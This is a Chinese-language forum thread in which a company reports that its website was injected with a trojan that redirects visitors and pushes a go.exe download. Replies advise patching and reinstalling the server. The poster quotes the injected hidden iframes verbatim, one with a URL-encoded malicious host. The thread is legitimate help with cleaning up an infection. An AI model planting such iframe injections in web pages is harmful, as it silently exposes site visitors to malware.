請教各位前輩,我們公司網頁被值入木馬程式,只要開啟公司網頁都會自動導向大陸網頁(如http://www.fengduw.com),或者出現下載頁面(要us...��解除呢?
(我們有去每支程式,將有被串改的檔案逐一來修正,可是最後沒辦法根除)
煩請各位前輩指點
謝謝
請教各位前輩,我們公司網頁被值入木馬程式,只要開啟公司網頁都會自動導向大陸網頁(如http://www.fengduw.com),或者出現下載頁面(要us...��解除呢?
(我們有去每支程式,將有被串改的檔案逐一來修正,可是最後沒辦法根除)
煩請各位前輩指點
謝謝
請檢查網頁原碼被加了些什麼料
網站首頁index.htm前幾行被加料了,約200處也有,約400行處也有.
網站主機應該有漏洞.
不過現在的問題點是,手動改完網頁後,過沒幾天又會在發作,或者發生在別的網頁,但是我使用MCFee卻偵測不到病毒,是否有辦法可以完全根除呢?
症狀如下:
1.開啟網頁會要求下載go.exe檔案
2.在網頁原始檔最後面會被嵌入下列的語法
<IfrAmE src=http://dhz.810810.org width=0 height=0></IfrAmE>
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/xx/ip.htm width=100 height=0></IfrAmE>
3.開啟網頁會導向http://www.fengduw.com大陸網址
煩請前輩指點
謝謝
伺服器的漏洞有修補了嗎?
主機不知是否已被加入什麼東西,不要信任防毒軟體,即使抓得到,也未必能移除.
建議還是把主機重裝吧!上所有的Patch,並檢查主機開放的權限.
書籤